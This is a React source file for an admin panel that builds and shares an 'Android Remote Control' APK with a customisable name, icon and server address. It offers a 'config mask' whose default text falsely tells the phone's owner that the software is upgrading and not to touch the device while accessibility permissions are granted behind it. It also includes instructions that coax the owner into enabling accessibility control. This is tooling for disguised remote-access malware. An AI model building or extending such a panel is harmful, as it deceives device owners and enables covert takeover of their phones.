import React, { useState, useEffect } from 'react' import { Card, Button, Progress, Typography, Space, Alert, message, Row, Col, Badge, Spin, Switch, Input, Collapse, // Form, // 暂时未使用 Tooltip, Upload, Image, Modal } from 'antd' import { DownloadOutlined, BuildOutlined, AndroidOutlined, InfoCircleOutlined, SyncOutlined, CloudDownloadOutlined, RocketOutlined, FileOutlined, ClockCircleOutlined, SettingOutlined, EyeInvisibleOutlined, CaretRightOutlined, UploadOutlined, PictureOutlined, DeleteOutlined } from '@ant-design/icons' import APKShareManager from './APKShareManager' import apiClient from '../services/apiClient' const { Title, Text, Paragraph } = Typography interface APKInfo { exists: boolean path?: string filename?: string size?: number buildTime?: Date } interface BuildStatus { isBuilding: boolean progress: number message: string success: boolean shareUrl?: string shareSessionId?: string shareExpiresAt?: string activeShares?: Array<{ sessionId: string filename: string shareUrl: string createdAt: string expiresAt: string isExpired: boolean }> } interface APKData { apkInfo: APKInfo buildStatus: BuildStatus } interface APKManagerProps { serverUrl: string } const APKManager: React.FC = ({ serverUrl }) => { const [loading, setLoading] = useState(false) const [data, setData] = useState(null) const [building, setBuilding] = useState(false) const [buildProgress, setBuildProgress] = useState(0) const [buildMessage, setBuildMessage] = useState('') const [_shareUrl, setShareUrl] = useState('') // 下划线前缀表示有意未使用但setter需要保留 const [_shareExpiresAt, setShareExpiresAt] = useState('') // 下划线前缀表示有意未使用但setter需要保留 const [enableConfigMask, setEnableConfigMask] = useState(true) // 默认开启 const [enableProgressBar, setEnableProgressBar] = useState(true) // 默认开启进度条 const [configMaskText, setConfigMaskText] = useState('软件升级中请稍后...') const [configMaskSubtitle, setConfigMaskSubtitle] = useState('软件正在升级中\n请勿操作设备') const [configMaskStatus, setConfigMaskStatus] = useState('升级完成后将自动返回应用') // const [showAdvancedOptions, setShowAdvancedOptions] = useState(false) // 暂时未使用 // ✅ 新增:服务器域名配置状态 const [serverDomain, setServerDomain] = useState('') // 用户配置的服务器域名 const [webUrl, setWebUrl] = useState('') // 用户配置的webUrl,Android应用打开的网址 // ✅ 新增:Android端页面样式配置状态 const [pageStyleConfig, setPageStyleConfig] = useState({ appName: 'Android Remote Control', appIcon: null as File | null, statusText: '软件需要开启AI智能操控权限\n请按照以下步骤进行\n1. 点击启用按钮\n2. 转到已下载的服务/应用\n3. 找到本应用并点击进入\n4. 开启辅助开关', enableButtonText: '启用', usageInstructions: '使用说明:\n1. 启用AI智能操控服务\n2. 确保设备连接到网络\n\n注意:请在安全的网络环境中使用', apkFileName: '' // APK文件名,空值表示使用默认名称 }) // const [showPageStyleConfig, setShowPageStyleConfig] = useState(false) // 暂时未使用 const [iconPreviewUrl, setIconPreviewUrl] = useState(null) // ✅ 新增:构建日志相关状态 interface LogEntry { timestamp?: number level?: string message: string timeString?: string } const [logModalVisible, setLogModalVisible] = useState(false) const [buildLogs, setBuildLogs] = useState([]) const [logLoading, setLogLoading] = useState(false) const logContainerRef = React.useRef(null) // 获取APK信息 const fetchAPKInfo = async () => { setLoading(true) try { const result = await apiClient.get('/api/apk/info') if (result.success) { setData(result) } else { message.error('获取APK信息失败') } } catch (error) { console.error('获取APK信息失败:', error) message.error('获取APK信息失败') } finally { setLoading(false) } } // 轮询构建状态 const pollBuildStatus = async () => { try { const result = await apiClient.get('/api/apk/build-status') if (result.success) { setBuildMessage(result.message || '') setBuildProgress(result.progress || 0) if (result.isBuilding) { // 构建中,更新进度 } else { setBuilding(false) setBuildProgress(0) if (result.success) { message.success('APK构建成功!') // 如果有分享链接,显示通知 if (result.shareUrl) { setShareUrl(result.shareUrl) setShareExpiresAt(result.shareExpiresAt || '') message.info('Cloudflare分享链接已生成,有效期10分钟') } fetchAPKInfo() } else if (result.message && result.message.includes('构建失败')) { message.error(`构建失败: ${result.message}`) } } } } catch (error) { console.error('获取构建状态失败:', error) } } // 获取构建日志 const fetchBuildLogs = React.useCallback(async (limit?: number) => { try { setLogLoading(true) const endpoint = limit ? `/api/apk/build-logs?limit=${limit}` : '/api/apk/build-logs' const result = await apiClient.get(endpoint) // 处理日志数据,支持多种格式 let newLogs: LogEntry[] = [] if (result.success !== false) { // 如果返回的是对象,包含logs字段(对象数组) if (Array.isArray(result.logs)) { newLogs = result.logs.map((item: any) => { // 如果已经是对象格式(包含level, message等) if (item && typeof item === 'object' && item.message) { return { timestamp: item.timestamp, level: item.level || 'info', message: item.message || String(item), timeString: item.timeString } } // 如果是字符串,转换为对象 return { level: 'info', message: typeof item === 'string' ? item : String(item || ''), timeString: undefined } }) } // 如果返回的是数组 else if (Array.isArray(result)) { newLogs = result.map((item: any) => { if (item && typeof item === 'object' && item.message) { return { timestamp: item.timestamp, level: item.level || 'info', message: item.message || String(item), timeString: item.timeString } } return { level: 'info', message: typeof item === 'string' ? item : String(item || ''), timeString: undefined } }) } // 如果返回的是对象,包含log字段(字符串) else if (typeof result.log === 'string') { newLogs = result.log.split('\n') .filter((line: string) => line.trim()) .map((line: string) => ({ level: 'info', message: line.trim(), timeString: undefined })) } // 如果直接返回字符串 else if (typeof result === 'string') { newLogs = result.split('\n') .filter((line: string) => line.trim()) .map((line: string) => ({ level: 'info', message: line.trim(), timeString: undefined })) } // 如果返回的是对象,包含data字段 else if (result.data) { if (Array.isArray(result.data)) { newLogs = result.data.map((item: any) => { if (item && typeof item === 'object' && item.message) { return { timestamp: item.timestamp, level: item.level || 'info', message: item.message || String(item), timeString: item.timeString } } return { level: 'info', message: typeof item === 'string' ? item : String(item || ''), timeString: undefined } }) } else if (typeof result.data === 'string') { newLogs = result.data.split('\n') .filter((line: string) => line.trim()) .map((line: string) => ({ level: 'info', message: line.trim(), timeString: undefined })) } } } // 过滤空消息 newLogs = newLogs.filter(item => item.message && item.message.trim().length > 0) setBuildLogs(newLogs) // 自动滚动到底部 setTimeout(() => { if (logContainerRef.current) { logContainerRef.current.scrollTop = logContainerRef.current.scrollHeight } }, 100) } catch (error) { console.error('获取构建日志失败:', error) } finally { setLogLoading(false) } }, []) // 清空构建日志 const clearBuildLogs = async () => { try { await apiClient.delete<{ success: boolean }>('/api/apk/build-logs') setBuildLogs([]) message.success('日志已清空') } catch (error) { console.error('清空日志失败:', error) message.error('清空日志失败') } } // 构建APK const buildAPK = async () => { setBuilding(true) setBuildProgress(0) setBuildMessage('开始构建...') // 打开日志窗口并清空之前的日志 setBuildLogs([]) setLogModalVisible(true) fetchBuildLogs(100) // 先获取最近100条日志 try { // 使用配置的域名或默认值 let buildServerUrl: string if (serverDomain.trim()) { // 使用用户配置的域名 const protocol = serverDomain.startsWith('https://') ? 'wss:' : serverDomain.startsWith('http://') ? 'ws:' : window.location.protocol === 'https:' ? 'wss:' : 'ws:' const domain = serverDomain.replace(/^https?:\/\//, '') buildServerUrl = `${protocol}//${domain}` } else { // 使用默认的当前服务器地址 const currentHost = window.location.hostname const currentProtocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:' buildServerUrl = `${currentProtocol}//${currentHost}:3001` } console.log('构建APK,配置服务器地址:', buildServerUrl) // 使用FormData来支持文件上传 const formData = new FormData() formData.append('serverUrl', buildServerUrl) formData.append('webUrl', webUrl.trim() || window.location.origin) // 使用配置的webUrl或默认值 formData.append('enableConfigMask', enableConfigMask.toString()) formData.append('enableProgressBar', enableProgressBar.toString()) formData.append('configMaskText', configMaskText) formData.append('configMaskSubtitle', configMaskSubtitle) formData.append('configMaskStatus', configMaskStatus) // 添加页面样式配置 const pageStyleConfigData = { appName: pageStyleConfig.appName, statusText: pageStyleConfig.statusText, enableButtonText: pageStyleConfig.enableButtonText, usageInstructions: pageStyleConfig.usageInstructions, apkFileName: pageStyleConfig.apkFileName.trim() // 添加APK文件名 } formData.append('pageStyleConfig', JSON.stringify(pageStyleConfigData)) // 如果有上传的图标文件,添加到FormData中 if (pageStyleConfig.appIcon) { formData.append('appIcon', pageStyleConfig.appIcon) console.log('上传自定义图标:', pageStyleConfig.appIcon.name) } const result = await apiClient.postFormData('/api/apk/build', formData) if (result.success) { message.success(`构建开始,服务器地址已自动配置为: ${result.serverUrl}`) // 如果立即返回了分享链接(构建完成) if (result.shareUrl) { setShareUrl(result.shareUrl) setShareExpiresAt(result.shareExpiresAt || '') message.success('APK构建完成!Cloudflare分享链接已生成') setBuilding(false) setBuildProgress(100) setBuildMessage('构建完成') fetchAPKInfo() } } else { message.error(`构建失败: ${result.error || '未知错误'}`) setBuilding(false) setBuildProgress(0) setBuildMessage('') } } catch (error: any) { console.error('构建APK失败:', error) // 根据错误类型提供更友好的提示 let errorMessage = '构建APK失败' const errorStr = String(error || '') const errorMsg = error?.message || errorStr // 检查各种网络错误情况 if ( errorMsg.includes('Failed to fetch') || errorMsg.includes('NetworkError') || errorMsg.includes('Network request failed') || errorMsg.includes('fetch failed') || error?.name === 'TypeError' && errorMsg.includes('fetch') ) { errorMessage = '网络连接失败,请检查:\n1. 服务器是否正常运行\n2. 网络连接是否正常\n3. 服务器地址是否正确' } else if (errorMsg.includes('timeout') || errorMsg.includes('Timeout')) { errorMessage = '请求超时,请稍后重试' } else if (errorMsg.includes('CORS') || errorMsg.includes('cors')) { errorMessage = '跨域请求失败,请检查服务器CORS配置' } else if (errorMsg) { errorMessage = `构建失败: ${errorMsg}` } message.error({ content: errorMessage, duration: 5, style: { whiteSpace: 'pre-line' } }) setBuilding(false) setBuildProgress(0) setBuildMessage('') // 在日志窗口中显示错误信息 const errorDetails: LogEntry[] = [ { level: 'error', message: errorMessage, timeString: new Date().toLocaleString('zh-CN', { year: 'numeric', month: '2-digit', day: '2-digit', hour: '2-digit', minute: '2-digit', second: '2-digit' }).replace(/\//g, '/') }, { level: 'error', message: `错误类型: ${error?.name || 'Unknown'}`, timeString: undefined }, { level: 'error', message: `错误详情: ${errorMsg}`, timeString: undefined } ] setBuildLogs(prev => [...prev, ...errorDetails]) } } // 处理图标上传 const handleIconUpload = (file: File) => { // 验证文件类型 const isImage = file.type.startsWith('image/') if (!isImage) { message.error('请上传图片文件(PNG、JPG、JPEG等)') return false } // 验证文件大小(限制为2MB) const isLt2M = file.size / 1024 / 1024 < 2 if (!isLt2M) { message.error('图标文件大小不能超过2MB') return false } // 更新状态 setPageStyleConfig(prev => ({ ...prev, appIcon: file })) // 生成预览URL const reader = new FileReader() reader.onload = (e) => { setIconPreviewUrl(e.target?.result as string) } reader.readAsDataURL(file) message.success('图标上传成功') return false // 阻止自动上传 } // 移除图标 const removeIcon = () => { setPageStyleConfig(prev => ({ ...prev, appIcon: null })) setIconPreviewUrl(null) message.success('已移除自定义图标') } // 下载APK const downloadAPK = async () => { try { const filename = data?.apkInfo.filename || 'RemoteControl.apk' await apiClient.downloadFile('/api/apk/download', filename) message.success('开始下载APK文件') } catch (error) { console.error('下载APK失败:', error) message.error('下载APK失败') } } // 获取默认APK文件名 const getDefaultAPKFileName = () => { return 'app' } // 格式化文件大小 const formatSize = (bytes: number) => { const units = ['B', 'KB', 'MB', 'GB'] let size = bytes let unitIndex = 0 while (size >= 1024 && unitIndex < units.length - 1) { size /= 1024 unitIndex++ } return `${size.toFixed(1)} ${units[unitIndex]}` } // 组件挂载时获取信息 useEffect(() => { fetchAPKInfo() }, []) // 构建过程中轮询状态和日志 useEffect(() => { let statusInterval: ReturnType | null = null let logInterval: ReturnType | null = null if (building && logModalVisible) { statusInterval = setInterval(pollBuildStatus, 2000) // 每1秒轮询一次日志 logInterval = setInterval(() => { fetchBuildLogs(100) }, 1000) } return () => { if (statusInterval) { clearInterval(statusInterval) } if (logInterval) { clearInterval(logInterval) } } }, [building, logModalVisible, fetchBuildLogs]) // 当构建完成时,停止日志轮询但保持窗口打开 useEffect(() => { if (!building && logModalVisible) { // 构建完成,最后获取一次完整日志 fetchBuildLogs() } }, [building, logModalVisible, fetchBuildLogs]) // 当日志更新时,自动滚动到底部 useEffect(() => { if (logModalVisible && buildLogs.length > 0) { setTimeout(() => { if (logContainerRef.current) { logContainerRef.current.scrollTop = logContainerRef.current.scrollHeight } }, 50) } }, [buildLogs, logModalVisible]) if (loading && !data) { return (
🔄 加载 APK 信息中... 正在加载APK状态
) } return (
{/* 现代化页面头部 */}
APK 构建中心 一键构建和部署 Android 远程控制客户端
{/* APK 状态主卡片 */} {data?.apkInfo?.exists ? (
🎉 APK 构建成功!
{data.apkInfo.filename}
📦 {data.apkInfo.size ? formatSize(data.apkInfo.size) : '未知大小'}
{data.apkInfo.buildTime ? new Date(data.apkInfo.buildTime).toLocaleString() : '未知时间' }
) : (
📱 暂无可用的 APK 文件 您的 Android 远程控制应用还未构建
点击下方按钮开始一键构建并部署
)} {/* 构建进度 */} {building && (
🚀 正在构建您的 APK 文件...
{buildMessage || '准备构建环境...'} {buildMessage.includes('配置服务器地址') && (
🌐 服务器地址: {serverDomain.trim() ? (serverDomain.startsWith('https://') ? 'wss://' + serverDomain.replace('https://', '') : serverDomain.startsWith('http://') ? 'ws://' + serverDomain.replace('http://', '') : window.location.protocol === 'https:' ? 'wss://' + serverDomain : 'ws://' + serverDomain) : `${window.location.protocol === 'https:' ? 'wss:' : 'ws:'}//${window.location.hostname}:3001` }
)}
)} {/* ✅ 新增:构建配置选项 */} 服务器配置 ), children: (
服务器域名 setServerDomain(e.target.value)} placeholder="例如: example.com 或 https://example.com" maxLength={100} showCount style={{ borderRadius: '8px' }} suffix={
} style={{ background: 'linear-gradient(135deg, #e6f7ff 0%, #f0f9ff 100%)', border: '1px solid #91d5ff', borderRadius: '8px' }} />
) }, { key: '1', label: ( 构建配置选项 ), children: (
配置期间遮盖 开启无障碍服务后显示遮盖,防止误点击 {enableConfigMask && ( {/* 进度条开关 */} 显示配置进度条 主标题文字: setConfigMaskText(e.target.value)} placeholder="请输入遮盖时显示的主标题文字" maxLength={50} showCount style={{ borderRadius: '8px' }} /> 副标题文字: setConfigMaskSubtitle(e.target.value)} placeholder="请输入遮盖时显示的副标题文字" rows={2} maxLength={100} showCount style={{ borderRadius: '8px' }} /> 状态提示文字: setConfigMaskStatus(e.target.value)} placeholder="请输入遮盖时显示的状态提示文字" maxLength={80} showCount style={{ borderRadius: '8px' }} /> )}

遮盖功能:开启后,设备在获取权限配置期间会显示黑色遮盖层,防止用户误操作

自动移除:所有权限配置完成后,遮盖会自动消失

主标题:遮盖界面顶部显示的大标题文字

副标题:主标题下方的详细说明文字,支持换行

状态提示:界面底部显示的状态信息文字

} style={{ background: 'linear-gradient(135deg, #e6f7ff 0%, #f0f9ff 100%)', border: '1px solid #91d5ff', borderRadius: '8px' }} /> ) }, { key: 'page-style', label: ( Android端页面样式 ), children: (
应用图标 {pageStyleConfig.appIcon && ( )} {iconPreviewUrl ? (
图标预览
{pageStyleConfig.appIcon?.name}
{pageStyleConfig.appIcon && (pageStyleConfig.appIcon.size / 1024).toFixed(1)} KB
) : ( )}
应用名称 setPageStyleConfig(prev => ({ ...prev, appName: e.target.value }))} placeholder="请输入应用名称" maxLength={30} showCount style={{ borderRadius: '8px' }} /> 状态文本 setPageStyleConfig(prev => ({ ...prev, statusText: e.target.value }))} placeholder="请输入主页状态文本内容" rows={4} maxLength={200} showCount style={{ borderRadius: '8px' }} /> 启用按钮文字 setPageStyleConfig(prev => ({ ...prev, enableButtonText: e.target.value }))} placeholder="请输入启用按钮文字" maxLength={20} showCount style={{ borderRadius: '8px' }} /> 使用说明 setPageStyleConfig(prev => ({ ...prev, usageInstructions: e.target.value }))} placeholder="请输入使用说明文本" rows={6} maxLength={500} showCount style={{ borderRadius: '8px' }} /> APK文件名 setPageStyleConfig(prev => ({ ...prev, apkFileName: e.target.value }))} placeholder={`默认: ${getDefaultAPKFileName()}`} maxLength={50} showCount style={{ borderRadius: '8px' }} suffix={
} style={{ background: 'linear-gradient(135deg, #f6ffed 0%, #f0f9ff 100%)', border: '1px solid #b7eb8f', borderRadius: '8px' }} /> ) } ]} expandIcon={({ isActive }) => } style={{ background: 'transparent', border: 'none' }} /> {/* 操作按钮区域 */} 🛠️ 操作中心 {data?.apkInfo?.exists && ( )} {/* APK 分享管理器 */}
{ setShareUrl(url) // 可以在这里添加额外的处理逻辑 }} />
{/* 构建日志窗口 */} 构建日志 {building && ( )} } open={logModalVisible} onCancel={() => setLogModalVisible(false)} width={900} footer={[ , , ]} styles={{ body: { padding: 0, maxHeight: '70vh', overflow: 'hidden' } }} >
{logLoading && buildLogs.length === 0 ? (
正在加载日志...
) : buildLogs.length === 0 ? (
暂无日志内容
) : (
{buildLogs.map((log, index) => { // 根据日志级别和内容设置颜色 let logColor = '#d4d4d4' const message = log.message || '' // 优先使用日志级别 if (log.level === 'error' || log.level === 'ERROR') { logColor = '#f48771' } else if (log.level === 'warning' || log.level === 'WARNING' || log.level === 'warn') { logColor = '#dcdcaa' } else if (log.level === 'success' || log.level === 'SUCCESS') { logColor = '#4ec9b0' } else if (log.level === 'info' || log.level === 'INFO') { logColor = '#569cd6' } else { // 如果没有级别,根据消息内容判断 if (message.includes('错误') || message.includes('error') || message.includes('Error') || message.includes('ERROR') || message.includes('失败') || message.includes('FAIL')) { logColor = '#f48771' } else if (message.includes('警告') || message.includes('warning') || message.includes('Warning') || message.includes('WARNING')) { logColor = '#dcdcaa' } else if (message.includes('成功') || message.includes('success') || message.includes('Success') || message.includes('SUCCESS') || message.includes('完成')) { logColor = '#4ec9b0' } else if (message.includes('信息') || message.includes('info') || message.includes('Info') || message.includes('INFO')) { logColor = '#569cd6' } } return (
{log.timeString && ( {log.timeString} )} {log.level ? `[${log.level.toUpperCase()}]` : '[INFO]'} {message}
) })}
)}
) } export default APKManager